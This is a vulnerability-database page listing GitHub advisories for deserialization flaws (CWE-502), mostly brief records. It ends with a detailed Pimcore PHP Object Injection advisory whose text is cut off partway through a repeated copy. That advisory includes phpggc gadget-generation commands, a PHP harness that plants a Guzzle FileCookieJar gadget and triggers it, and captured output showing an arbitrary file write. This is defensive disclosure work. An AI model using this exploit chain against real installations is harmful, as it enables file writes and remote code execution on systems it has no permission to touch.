Common Weakness Enumeration
CWE-502
AllowedDeserialization of Untrusted Data
Abstraction: Base · Status: Draft
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.
5189 vulnerabilities reference this CWE, most recent first.
GHSA-VXF3-94JJ-JHMP
Vulnerability from github – Published: 2024-06-24 00:34 – Updated: 2024-11-13 18:31
VLAI
Details
MENDELSON AS4 before 2024 B376 has a client-side vulnerability when a trading partner provides prepared XML data. When a victim opens the details of this transaction in the client, files can be written to the computer on which the client process is running. (The server process is not affected.)
Severity
6.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-39334"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-23T23:15:09Z",
"severity": "MODERATE"
},
"details": "MENDELSON AS4 before 2024 B376 has a client-side vulnerability when a trading partner provides prepared XML data. When a victim opens the details of this transaction in the client, files can be written to the computer on which the client process is running. (The server process is not affected.)",
"id": "GHSA-vxf3-94jj-jhmp",
"modified": "2024-11-13T18:31:52Z",
"published": "2024-06-24T00:34:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39334"
},
{
"type": "WEB",
"url": "https://mendelson-e-c.com/node/27845"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VXP9-WV2F-WQMW
Vulnerability from github – Published: 2018-11-09 17:40 – Updated: 2024-10-28 14:18
VLAI
Summary
Deserialization of Untrusted Data in superset
Details
Versions of Superset prior to 0.23 used an unsafe load method from the pickle library to deserialize data leading to possible remote code execution. Note Superset 0.23 was released prior to any Superset release under the Apache Software Foundation.
Severity
9.8 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "superset"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.23"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-8021"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:58:58Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "Versions of Superset prior to 0.23 used an unsafe load method from the pickle library to deserialize data leading to possible remote code execution. Note Superset 0.23 was released prior to any Superset release under the Apache Software Foundation.",
"id": "GHSA-vxp9-wv2f-wqmw",
"modified": "2024-10-28T14:18:34Z",
"published": "2018-11-09T17:40:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-8021"
},
{
"type": "WEB",
"url": "https://github.com/apache/incubator-superset/pull/4243"
},
{
"type": "WEB",
"url": "https://github.com/apache/superset/pull/4243"
},
{
"type": "WEB",
"url": "https://github.com/apache/superset/commit/2c72a7ae4fc0a8bac1f037a79efa90e1c5549710"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-vxp9-wv2f-wqmw"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/superset"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/superset/PYSEC-2018-74.yaml"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/45933"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Deserialization of Untrusted Data in superset"
}
GHSA-VXVV-QCM6-46HJ
Vulnerability from github – Published: 2026-08-24 12:31 – Updated: 2026-08-24 12:31
VLAI
Details
Unauthenticated PHP Object Injection in FreightCo <= 1.1.15 versions.
Severity
9.8 (Critical)
{
"affected": [],
"aliases": [
"CVE-2026-66650"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-24T12:16:53Z",
"severity": "CRITICAL"
},
"details": "Unauthenticated PHP Object Injection in FreightCo \u003c= 1.1.15 versions.",
"id": "GHSA-vxvv-qcm6-46hj",
"modified": "2026-08-24T12:31:39Z",
"published": "2026-08-24T12:31:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66650"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/theme/freightco/vulnerability/wordpress-freightco-theme-1-1-15-php-object-injection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W228-FRCG-5X99
Vulnerability from github – Published: 2023-10-04 21:30 – Updated: 2024-02-01 03:30
VLAI
Details
A?CWE-502:?Deserialization of untrusted data?vulnerability exists?that could allow an attacker to execute arbitrary code on the targeted system by sending a specifically crafted packet to the application.
Severity
9.8 (Critical)
{
"affected": [],
"aliases": [
"CVE-2023-5391"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-04T19:15:10Z",
"severity": "CRITICAL"
},
"details": "\nA?CWE-502:?Deserialization of untrusted data?vulnerability exists?that could allow an attacker to execute arbitrary code on the targeted system by sending a specifically crafted packet to the application.\u00a0\n\n\n",
"id": "GHSA-w228-frcg-5x99",
"modified": "2024-02-01T03:30:22Z",
"published": "2023-10-04T21:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5391"
},
{
"type": "WEB",
"url": "https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2023-283-02\u0026p_enDocType=Security+and+Safety+Notice\u0026p_File_Name=SEVD-2023-283-02.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W22V-WRFQ-Q6J9
Vulnerability from github – Published: 2025-01-14 18:32 – Updated: 2025-01-14 18:32
VLAI
Details
Microsoft Excel Security Feature Bypass Vulnerability
Severity
7.8 (High)
{
"affected": [],
"aliases": [
"CVE-2025-21364"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-14T18:16:02Z",
"severity": "HIGH"
},
"details": "Microsoft Excel Security Feature Bypass Vulnerability",
"id": "GHSA-w22v-wrfq-q6j9",
"modified": "2025-01-14T18:32:05Z",
"published": "2025-01-14T18:32:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21364"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21364"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W23P-WRP7-CH38
Vulnerability from github – Published: 2026-08-28 19:13 – Updated: 2026-08-28 19:13
VLAI
Summary
Pimcore Hotspotimage getDataFromResource() unrestricted Serialize::unserialize over object-store column (PHP Object Injection, CWE-502)
Details
Summary
Pimcore\Model\DataObject\ClassDefinition\Data\Hotspotimage::getDataFromResource() deserializes the *__hotspots object-store column through the Pimcore\Tool\Serialize::unserialize() wrapper without a class allowlist (the wrapper's $allowedClasses parameter defaults to true, i.e. fully unrestricted). Because the persistence layer always stores this column as PHP-serialize()d bytes, every load of a DataObject that has a Hotspotimage (advanced image) field runs an unrestricted unserialize() over the stored column value. An attacker who can write the *__hotspots store column with crafted serialized bytes achieves PHP Object Injection (CWE-502): arbitrary classes are instantiated and their magic methods (__wakeup/__destruct) execute, which is exploitable for remote code execution via gadget chains present in Pimcore's own bundled dependencies (e.g. guzzlehttp/guzzle).
The same field-data family also affects the sibling marshallers ImageGallery, Block, and Video, which use the identical json_decode(...) ?: Serialize::unserialize(...) fallback over their respective store columns. The root cause is shared: Serialize::unserialize() defaults to an unrestricted class list, and these callers pass no second argument.
Severity
High. Successful exploitation yields PHP Object Injection leading to remote code execution (proven below as arbitrary file write using a gadget from Pimcore's bundled guzzlehttp/guzzle 7.11.0). This is the deserialization leg of an attack: it requires the ability to write the *__hotspots object-store column with attacker-chosen serialized bytes. No class-allowlist defense is present, so any such write is directly weaponizable on the next object load. CVSS-wise this is comparable to other deserialization sinks over attacker-influenceable storage in this codebase.
Affected component
- File:
models/DataObject/ClassDefinition/Data/Hotspotimage.php, methodgetDataFromResource(). - Vulnerable lines (v2026.1.4 / v12.3.8):
php $metaData = $data[$this->getName() . '__hotspots']; // check if the data is JSON (backward compatibility) $md = json_decode($metaData, true); if (!$md) { $md = Serialize::unserialize($metaData); // unrestricted: allowed_classes defaults to true } elseif (is_array($md)) { $md['hotspots'] = $md; } - Root enabler:
lib/Tool/Serialize.phpphp public static function unserialize(?string $data = null, array|bool $allowedClasses = true): mixed { if ($data === null || $data === '') { return $data; } return unserialize($data, ['allowed_classes' => $allowedClasses]); // default true = unrestricted } - Sibling marshallers with the identical fallback shape:
ImageGallery,Block,Video(DataObject\ClassDefinition\Data). - Package:
pimcore/pimcore(Composer). - Affected versions: all currently maintained releases, including the latest
v2026.1.4andv12.3.8(verified against deployedv2026.1.4).
Data flow
- On save,
Hotspotimage::getDataForResource()stores the hotspot/marker/crop metadata asSerialize::serialize($metaData)into the<field>__hotspotsobject-store column — i.e. PHP serialized bytes, not JSON. - On load,
Hotspotimage::getDataFromResource()reads that column, callsjson_decode()(which fails for the serialized format), and therefore falls through toSerialize::unserialize($metaData)with the default unrestricted class list. Serialize::unserialize()invokesunserialize($data, ['allowed_classes' => true]), instantiating any class named in the bytes and triggering its magic methods.- The load path is exercised on essentially every object retrieval (admin grid/detail, frontend rendering, Studio/API reads, inheritance walks) for objects whose class declares a Hotspotimage field, with a non-null
<field>__image.
The attacker primitive is the ability to place crafted serialized bytes into the <field>__hotspots store column (for example through an SQL-write/store-write primitive). The defect is that the deserialization is performed with no class allowlist, so any such write is directly executable.
Proof of Concept
Verified end-to-end against a real, locally deployed Pimcore v2026.1.4 (Composer skeleton + MariaDB + pimcore:install), not a ported stub. The gadget is phpggc Guzzle/FW1 built against Pimcore's own bundled guzzlehttp/guzzle 7.11.0; its GuzzleHttp\Cookie\FileCookieJar::__destruct writes an attacker-controlled file to disk (a file-write primitive; the same surface reaches RCE via other vendored gadget chains).
Gadget generation (476→474 raw bytes, non-JSON so the unserialize fallback is taken):
printf 'PWNED_BY_DESERIALIZATION_%s' "$(date +%s)" > /tmp/ggc_local_src.txt
./phpggc Guzzle/FW1 /tmp/pimcore_pwned_hotspot.txt /tmp/ggc_local_src.txt | tr -d '\n' > /tmp/ggc_guzzle_fw1.ser
# stored bytes begin: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{...
Reproduction harness (a Symfony console command living in the deployed app; it creates a real DataObject class with a Hotspotimage field, a real image asset, a real saved object, performs the attacker store-write into object_store_<id>.img__hotspots, then reloads the object through the real Pimcore model layer):
<?php
declare(strict_types=1);
namespace App\Command;
use Pimcore\Db;
use Pimcore\Model\Asset;
use Pimcore\Model\DataObject;
use Pimcore\Model\DataObject\ClassDefinition;
use Symfony\Component\Console\Attribute\AsCommand;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;
#[AsCommand(name: 'e2e:hotspot', description: 'E2E CWE-502 Hotspotimage __hotspots unserialize')]
final class E2eHotspotCommand extends Command
{
protected function configure(): void
{
$this->addOption('benign', null, InputOption::VALUE_NONE, 'negative control: benign JSON');
$this->addOption('restricted', null, InputOption::VALUE_NONE, 'negative control: allowed_classes=false');
}
protected function execute(InputInterface $input, OutputInterface $output): int
{
$o = fn (string $m) => $output->writeln($m);
$gadget = (string) file_get_contents('/tmp/ggc_guzzle_fw1.ser');
$target = '/tmp/pimcore_pwned_hotspot.txt';
@unlink($target);
$o('=== STEP 1: create DataObject class with a Hotspotimage field ===');
$class = ClassDefinition::getByName('E2eHotspot');
if (!$class) {
$class = new ClassDefinition();
$class->setName('E2eHotspot');
$class->setGroup('e2e');
$field = new ClassDefinition\Data\Hotspotimage();
$field->setName('img');
$field->setTitle('img');
$panel = new ClassDefinition\Layout\Panel();
$panel->setName('Layout');
$panel->addChild($field);
$class->setLayoutDefinitions($panel);
$class->save();
}
$o(' class id=' . $class->getId());
$o('=== STEP 2: create image asset (Hotspotimage needs a valid __image id) ===');
$png = base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==');
$asset = Asset::getByPath('/e2e_pixel.png');
if (!$asset) {
$asset = new Asset\Image();
$asset->setFilename('e2e_pixel.png');
$asset->setParent(Asset::getById(1));
$asset->setData($png);
$asset->save();
}
$o(' asset id=' . $asset->getId());
$o('=== STEP 3: create+save object carrying that image ===');
$obj = DataObject::getByPath('/e2e_obj');
if (!$obj) {
$fqcn = '\\Pimcore\\Model\\DataObject\\' . $class->getName();
$obj = new $fqcn();
$obj->setKey('e2e_obj');
$obj->setParent(DataObject::getById(1));
$obj->setPublished(true);
$obj->setValue('img', new DataObject\Data\Hotspotimage($asset));
$obj->save();
}
$objId = $obj->getId();
$store = 'object_store_' . $class->getId();
$o(' object id=' . $objId . ' store=' . $store);
$o('=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===');
$db = Db::get();
$payload = $input->getOption('benign')
? json_encode(['hotspots' => [], 'marker' => [], 'crop' => []])
: $gadget;
$db->executeStatement('UPDATE `' . $store . '` SET `img__hotspots` = ? WHERE oo_id = ?', [$payload, $objId]);
$stored = (string) $db->fetchOne('SELECT `img__hotspots` FROM `' . $store . '` WHERE oo_id = ?', [$objId]);
$o(' stored prefix: ' . substr($stored, 0, 60));
$o(' json_decode(stored) === null ? ' . var_export(json_decode($stored, true) === null, true) . ' (=> unserialize fallback)');
$o('=== STEP 5: clear cache + reload object => getDataFromResource() ===');
\Pimcore\Cache::clearAll();
\Pimcore\Cache\RuntimeCache::clear();
$o(' target file before load exists? ' . var_export(file_exists($target), true));
if ($input->getOption('restricted')) {
$o(' [negative control] fixed wrapper allowed_classes=false on the same bytes');
$res = @unserialize($stored, ['allowed_classes' => false]);
$o(' returned type=' . gettype($res) . ' class=' . (is_object($res) ? get_class($res) : 'n/a'));
gc_collect_cycles();
} else {
try {
$reloaded = DataObject\Concrete::getById($objId, ['force' => true]);
$reloaded->getImg(); // triggers Hotspotimage::getDataFromResource() lazy load
$o(' reloaded class=' . get_class($reloaded));
unset($reloaded);
} catch (\Throwable $e) {
$o(' (post-unserialize downstream error, gadget already instantiated): ' . $e->getMessage());
}
gc_collect_cycles();
}
$o('=== RESULT ===');
clearstatcache();
if (file_exists($target)) {
$o(' [VULNERABLE] gadget file WRITTEN: ' . $target);
$o(' contents: ' . trim((string) file_get_contents($target)));
} else {
$o(' [NOT TRIGGERED] target file absent');
}
return Command::SUCCESS;
}
}
Captured output — RUN A (positive, gadget):
=== STEP 1: create DataObject class with a Hotspotimage field ===
class id=1
=== STEP 2: create image asset (Hotspotimage needs a valid __image id) ===
asset id=2
=== STEP 3: create+save object carrying that image ===
object id=4 store=object_store_1
=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===
stored prefix: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"\GuzzleHttp\
json_decode(stored) === null ? true (=> unserialize fallback)
=== STEP 5: clear cache + reload object => getDataFromResource() ===
target file before load exists? false
(post-unserialize downstream error, gadget already instantiated): Cannot use object of type GuzzleHttp\Cookie\FileCookieJar as array
=== RESULT ===
[VULNERABLE] gadget file WRITTEN: /tmp/pimcore_pwned_hotspot.txt
contents: [{"Expires":1,"Discard":false,"Value":"PWNED_BY_DESERIALIZATION_1780420803"}]
Captured output — RUN B (negative control, benign JSON in the column):
=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===
[negative control] storing benign JSON
stored prefix: {"hotspots":[],"marker":[],"crop":[]}
json_decode(stored) === null ? false (=> unserialize fallback)
=== STEP 5: clear cache + reload object => getDataFromResource() ===
target file before load exists? false
reloaded class=Pimcore\Model\DataObject\E2eHotspot
=== RESULT ===
[NOT TRIGGERED] target file absent
Captured output — RUN C (negative control, the fix: allowed_classes=false over the same gadget bytes):
=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===
stored prefix: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"\GuzzleHttp\
json_decode(stored) === null ? true (=> unserialize fallback)
=== STEP 5: clear cache + reload object => getDataFromResource() ===
target file before load exists? false
[negative control] fixed wrapper allowed_classes=false on the same bytes
returned type=object class=__PHP_Incomplete_Class
=== RESULT ===
[NOT TRIGGERED] target file absent
RUN A shows the attacker bytes drive unserialize() to instantiate the GuzzleHttp\Cookie\FileCookieJar gadget, whose destructor writes an attacker-controlled file. RUN B shows benign JSON takes the safe json_decode branch (no deserialization, no file). RUN C shows that performing the same deserialization with an allowed_classes allowlist returns an inert __PHP_Incomplete_Class and the gadget never runs — i.e. the proposed fix neutralizes the attack.
Impact
PHP Object Injection (CWE-502) on object load. With gadget chains available in Pimcore's bundled dependencies this is exploitable for remote code execution; the PoC demonstrates an attacker-controlled arbitrary file write via the bundled guzzlehttp/guzzle 7.11.0 FileCookieJar chain. Because the *__hotspots column is read on virtually every load of an affected object (admin UI, frontend output, API, inheritance resolution), any write of crafted bytes into that column is reliably executed.
Remediation
Make Serialize::unserialize() safe by default and/or pass an explicit class allowlist at the Hotspotimage/ImageGallery/Block/Video callers.
Preferred minimal fix at the wrapper (closes the whole Serialize::unserialize()-without-allowlist family in one place):
public static function unserialize(?string $data = null, array|bool $allowedClasses = false): mixed
(i.e. flip the default to false, requiring callers that legitimately need to revive objects to opt in with an explicit allowlist). Alternatively, change each affected marshaller to pass ['allowed_classes' => false] (or a tight allowlist such as [MarkerHotspotItem::class]) explicitly. RUN C above confirms allowed_classes deserialization renders the gadget inert. Fix PR (private temporary advisory fork): https://github.com/pimcore/pimcore-ghsa-w23p-wrp7-ch38/pull/1
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.1.5"
},
"package": {
"ecosystem": "Packagist",
"name": "pimcore/pimcore"
},
"ranges": [
{
"events": [
{
"introduced": "2026.1.0"
},
{
"fixed": "2026.1.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 12.3.9"
},
"package": {
"ecosystem": "Packagist",
"name": "pimcore/pimcore"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "12.3.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55220"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T19:13:25Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\n`Pimcore\\Model\\DataObject\\ClassDefinition\\Data\\Hotspotimage::getDataFromResource()` deserializes the `*__hotspots` object-store column through the `Pimcore\\Tool\\Serialize::unserialize()` wrapper **without a class allowlist** (the wrapper\u0027s `$allowedClasses` parameter defaults to `true`, i.e. fully unrestricted). Because the persistence layer always stores this column as PHP-`serialize()`d bytes, every load of a DataObject that has a Hotspotimage (advanced image) field runs an unrestricted `unserialize()` over the stored column value. An attacker who can write the `*__hotspots` store column with crafted serialized bytes achieves PHP Object Injection (CWE-502): arbitrary classes are instantiated and their magic methods (`__wakeup`/`__destruct`) execute, which is exploitable for remote code execution via gadget chains present in Pimcore\u0027s own bundled dependencies (e.g. `guzzlehttp/guzzle`).\n\nThe same field-data family also affects the sibling marshallers `ImageGallery`, `Block`, and `Video`, which use the identical `json_decode(...) ?: Serialize::unserialize(...)` fallback over their respective store columns. The root cause is shared: `Serialize::unserialize()` defaults to an unrestricted class list, and these callers pass no second argument.\n\n## Severity\n\nHigh. Successful exploitation yields PHP Object Injection leading to remote code execution (proven below as arbitrary file write using a gadget from Pimcore\u0027s bundled `guzzlehttp/guzzle 7.11.0`). This is the deserialization leg of an attack: it requires the ability to write the `*__hotspots` object-store column with attacker-chosen serialized bytes. No class-allowlist defense is present, so any such write is directly weaponizable on the next object load. CVSS-wise this is comparable to other deserialization sinks over attacker-influenceable storage in this codebase.\n\n## Affected component\n\n- File: `models/DataObject/ClassDefinition/Data/Hotspotimage.php`, method `getDataFromResource()`.\n- Vulnerable lines (v2026.1.4 / v12.3.8):\n ```php\n $metaData = $data[$this-\u003egetName() . \u0027__hotspots\u0027];\n // check if the data is JSON (backward compatibility)\n $md = json_decode($metaData, true);\n if (!$md) {\n $md = Serialize::unserialize($metaData); // unrestricted: allowed_classes defaults to true\n } elseif (is_array($md)) {\n $md[\u0027hotspots\u0027] = $md;\n }\n ```\n- Root enabler: `lib/Tool/Serialize.php`\n ```php\n public static function unserialize(?string $data = null, array|bool $allowedClasses = true): mixed\n {\n if ($data === null || $data === \u0027\u0027) { return $data; }\n return unserialize($data, [\u0027allowed_classes\u0027 =\u003e $allowedClasses]); // default true = unrestricted\n }\n ```\n- Sibling marshallers with the identical fallback shape: `ImageGallery`, `Block`, `Video` (DataObject\\ClassDefinition\\Data).\n- Package: `pimcore/pimcore` (Composer).\n- Affected versions: all currently maintained releases, including the latest `v2026.1.4` and `v12.3.8` (verified against deployed `v2026.1.4`).\n\n## Data flow\n\n1. On save, `Hotspotimage::getDataForResource()` stores the hotspot/marker/crop metadata as `Serialize::serialize($metaData)` into the `\u003cfield\u003e__hotspots` object-store column \u2014 i.e. PHP serialized bytes, not JSON.\n2. On load, `Hotspotimage::getDataFromResource()` reads that column, calls `json_decode()` (which fails for the serialized format), and therefore falls through to `Serialize::unserialize($metaData)` with the default unrestricted class list.\n3. `Serialize::unserialize()` invokes `unserialize($data, [\u0027allowed_classes\u0027 =\u003e true])`, instantiating any class named in the bytes and triggering its magic methods.\n4. The load path is exercised on essentially every object retrieval (admin grid/detail, frontend rendering, Studio/API reads, inheritance walks) for objects whose class declares a Hotspotimage field, with a non-null `\u003cfield\u003e__image`.\n\nThe attacker primitive is the ability to place crafted serialized bytes into the `\u003cfield\u003e__hotspots` store column (for example through an SQL-write/store-write primitive). The defect is that the deserialization is performed with no class allowlist, so any such write is directly executable.\n\n## Proof of Concept\n\nVerified end-to-end against a real, locally deployed Pimcore `v2026.1.4` (Composer skeleton + MariaDB + `pimcore:install`), not a ported stub. The gadget is `phpggc Guzzle/FW1` built against Pimcore\u0027s own bundled `guzzlehttp/guzzle 7.11.0`; its `GuzzleHttp\\Cookie\\FileCookieJar::__destruct` writes an attacker-controlled file to disk (a file-write primitive; the same surface reaches RCE via other vendored gadget chains).\n\nGadget generation (476\u2192474 raw bytes, non-JSON so the `unserialize` fallback is taken):\n```\nprintf \u0027PWNED_BY_DESERIALIZATION_%s\u0027 \"$(date +%s)\" \u003e /tmp/ggc_local_src.txt\n./phpggc Guzzle/FW1 /tmp/pimcore_pwned_hotspot.txt /tmp/ggc_local_src.txt | tr -d \u0027\\n\u0027 \u003e /tmp/ggc_guzzle_fw1.ser\n# stored bytes begin: O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{...\n```\n\nReproduction harness (a Symfony console command living in the deployed app; it creates a real DataObject class with a Hotspotimage field, a real image asset, a real saved object, performs the attacker store-write into `object_store_\u003cid\u003e.img__hotspots`, then reloads the object through the real Pimcore model layer):\n```php\n\u003c?php\ndeclare(strict_types=1);\nnamespace App\\Command;\n\nuse Pimcore\\Db;\nuse Pimcore\\Model\\Asset;\nuse Pimcore\\Model\\DataObject;\nuse Pimcore\\Model\\DataObject\\ClassDefinition;\nuse Symfony\\Component\\Console\\Attribute\\AsCommand;\nuse Symfony\\Component\\Console\\Command\\Command;\nuse Symfony\\Component\\Console\\Input\\InputInterface;\nuse Symfony\\Component\\Console\\Input\\InputOption;\nuse Symfony\\Component\\Console\\Output\\OutputInterface;\n\n#[AsCommand(name: \u0027e2e:hotspot\u0027, description: \u0027E2E CWE-502 Hotspotimage __hotspots unserialize\u0027)]\nfinal class E2eHotspotCommand extends Command\n{\n protected function configure(): void\n {\n $this-\u003eaddOption(\u0027benign\u0027, null, InputOption::VALUE_NONE, \u0027negative control: benign JSON\u0027);\n $this-\u003eaddOption(\u0027restricted\u0027, null, InputOption::VALUE_NONE, \u0027negative control: allowed_classes=false\u0027);\n }\n\n protected function execute(InputInterface $input, OutputInterface $output): int\n {\n $o = fn (string $m) =\u003e $output-\u003ewriteln($m);\n $gadget = (string) file_get_contents(\u0027/tmp/ggc_guzzle_fw1.ser\u0027);\n $target = \u0027/tmp/pimcore_pwned_hotspot.txt\u0027;\n @unlink($target);\n\n $o(\u0027=== STEP 1: create DataObject class with a Hotspotimage field ===\u0027);\n $class = ClassDefinition::getByName(\u0027E2eHotspot\u0027);\n if (!$class) {\n $class = new ClassDefinition();\n $class-\u003esetName(\u0027E2eHotspot\u0027);\n $class-\u003esetGroup(\u0027e2e\u0027);\n $field = new ClassDefinition\\Data\\Hotspotimage();\n $field-\u003esetName(\u0027img\u0027);\n $field-\u003esetTitle(\u0027img\u0027);\n $panel = new ClassDefinition\\Layout\\Panel();\n $panel-\u003esetName(\u0027Layout\u0027);\n $panel-\u003eaddChild($field);\n $class-\u003esetLayoutDefinitions($panel);\n $class-\u003esave();\n }\n $o(\u0027 class id=\u0027 . $class-\u003egetId());\n\n $o(\u0027=== STEP 2: create image asset (Hotspotimage needs a valid __image id) ===\u0027);\n $png = base64_decode(\u0027iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==\u0027);\n $asset = Asset::getByPath(\u0027/e2e_pixel.png\u0027);\n if (!$asset) {\n $asset = new Asset\\Image();\n $asset-\u003esetFilename(\u0027e2e_pixel.png\u0027);\n $asset-\u003esetParent(Asset::getById(1));\n $asset-\u003esetData($png);\n $asset-\u003esave();\n }\n $o(\u0027 asset id=\u0027 . $asset-\u003egetId());\n\n $o(\u0027=== STEP 3: create+save object carrying that image ===\u0027);\n $obj = DataObject::getByPath(\u0027/e2e_obj\u0027);\n if (!$obj) {\n $fqcn = \u0027\\\\Pimcore\\\\Model\\\\DataObject\\\\\u0027 . $class-\u003egetName();\n $obj = new $fqcn();\n $obj-\u003esetKey(\u0027e2e_obj\u0027);\n $obj-\u003esetParent(DataObject::getById(1));\n $obj-\u003esetPublished(true);\n $obj-\u003esetValue(\u0027img\u0027, new DataObject\\Data\\Hotspotimage($asset));\n $obj-\u003esave();\n }\n $objId = $obj-\u003egetId();\n $store = \u0027object_store_\u0027 . $class-\u003egetId();\n $o(\u0027 object id=\u0027 . $objId . \u0027 store=\u0027 . $store);\n\n $o(\u0027=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===\u0027);\n $db = Db::get();\n $payload = $input-\u003egetOption(\u0027benign\u0027)\n ? json_encode([\u0027hotspots\u0027 =\u003e [], \u0027marker\u0027 =\u003e [], \u0027crop\u0027 =\u003e []])\n : $gadget;\n $db-\u003eexecuteStatement(\u0027UPDATE `\u0027 . $store . \u0027` SET `img__hotspots` = ? WHERE oo_id = ?\u0027, [$payload, $objId]);\n $stored = (string) $db-\u003efetchOne(\u0027SELECT `img__hotspots` FROM `\u0027 . $store . \u0027` WHERE oo_id = ?\u0027, [$objId]);\n $o(\u0027 stored prefix: \u0027 . substr($stored, 0, 60));\n $o(\u0027 json_decode(stored) === null ? \u0027 . var_export(json_decode($stored, true) === null, true) . \u0027 (=\u003e unserialize fallback)\u0027);\n\n $o(\u0027=== STEP 5: clear cache + reload object =\u003e getDataFromResource() ===\u0027);\n \\Pimcore\\Cache::clearAll();\n \\Pimcore\\Cache\\RuntimeCache::clear();\n $o(\u0027 target file before load exists? \u0027 . var_export(file_exists($target), true));\n\n if ($input-\u003egetOption(\u0027restricted\u0027)) {\n $o(\u0027 [negative control] fixed wrapper allowed_classes=false on the same bytes\u0027);\n $res = @unserialize($stored, [\u0027allowed_classes\u0027 =\u003e false]);\n $o(\u0027 returned type=\u0027 . gettype($res) . \u0027 class=\u0027 . (is_object($res) ? get_class($res) : \u0027n/a\u0027));\n gc_collect_cycles();\n } else {\n try {\n $reloaded = DataObject\\Concrete::getById($objId, [\u0027force\u0027 =\u003e true]);\n $reloaded-\u003egetImg(); // triggers Hotspotimage::getDataFromResource() lazy load\n $o(\u0027 reloaded class=\u0027 . get_class($reloaded));\n unset($reloaded);\n } catch (\\Throwable $e) {\n $o(\u0027 (post-unserialize downstream error, gadget already instantiated): \u0027 . $e-\u003egetMessage());\n }\n gc_collect_cycles();\n }\n\n $o(\u0027=== RESULT ===\u0027);\n clearstatcache();\n if (file_exists($target)) {\n $o(\u0027 [VULNERABLE] gadget file WRITTEN: \u0027 . $target);\n $o(\u0027 contents: \u0027 . trim((string) file_get_contents($target)));\n } else {\n $o(\u0027 [NOT TRIGGERED] target file absent\u0027);\n }\n return Command::SUCCESS;\n }\n}\n```\n\nCaptured output \u2014 RUN A (positive, gadget):\n```\n=== STEP 1: create DataObject class with a Hotspotimage field ===\n class id=1\n=== STEP 2: create image asset (Hotspotimage needs a valid __image id) ===\n asset id=2\n=== 